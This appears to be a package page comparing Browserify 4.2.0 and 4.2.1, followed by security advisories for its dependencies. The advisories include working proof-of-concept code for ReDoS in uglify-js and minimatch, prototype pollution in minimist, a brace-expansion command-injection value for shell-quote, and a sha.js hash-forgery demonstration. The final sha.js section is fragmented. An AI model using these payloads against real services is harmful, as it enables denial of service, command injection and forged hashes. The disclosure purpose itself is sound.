Browserify is a powerful tool enabling developers to write Node.js-style modules that run directly in the browser. Versions 4.2.0 and 4.2.1 offer crucial functionality for browser-side require() statements. Examining the differences between these versions highlights subtle yet important changes for users.
A key difference lies in the dependencies. While most dependencies remain consistent, through2 sees an update from ~0.4.1 to ^1.0.0, and syntax-error increments from ~1.1.0 to ^1.1.1 in version 4.2.1. These updates likely address bug fixes, performance improvements, or feature additions within those respective modules, which can indirectly affect how Browserify bundles code.
Developers should pay close attention to the semantic versioning changes (indicated by the ~ and ^ symbols). A tilde (~) allows for patch-level updates, while a caret (^) permits minor and patch-level updates. The change in through2 from tilde to caret indicates a greater potential for non-breaking feature additions or improvements.
Version 4.2.1 also includes minor internal adjustments. The release date difference of about two weeks indicates focused work on refinements and stabilization. For those employing Browserify in production environments, understanding these dependency tweaks ensures compatibility and access to the latest enhancements, paving the way for smoother browser-based module management & modern web application development. Careful dependency management is key to harnessing the full potential of Browserify.
All the vulnerabilities related to the version 4.2.1 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Prototype Pollution in minimist
Affected versions of minimist
are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object
, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted
adds a y
property with value Polluted
to all objects. The argument --__proto__=Polluted
raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist
.
Upgrade to versions 0.2.1, 1.2.3 or later.
Prototype Pollution in minimist
Minimist prior to 1.2.6 and 0.2.4 is vulnerable to Prototype Pollution via file index.js
, function setKey()
(lines 69-95).
Potential Command Injection in shell-quote
Affected versions of shell-quote
do not properly escape command line arguments, which may result in command injection if the library is used to escape user input destined for use as command line arguments.
The following characters are not escaped properly: >
,;
,{
,}
Bash has a neat but not well known feature known as "Bash Brace Expansion", wherein a sub-command can be executed without spaces by running it between a set of {}
and using the ,
instead of
to seperate arguments. Because of this, full command injection is possible even though it was initially thought to be impossible.
const quote = require('shell-quote').quote;
console.log(quote(['a;{echo,test,123,234}']));
// Actual "a;{echo,test,123,234}"
// Expected "a\;\{echo,test,123,234\}"
// Functional Equivalent "a; echo 'test' '123' '1234'"
Update to version 1.6.1 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}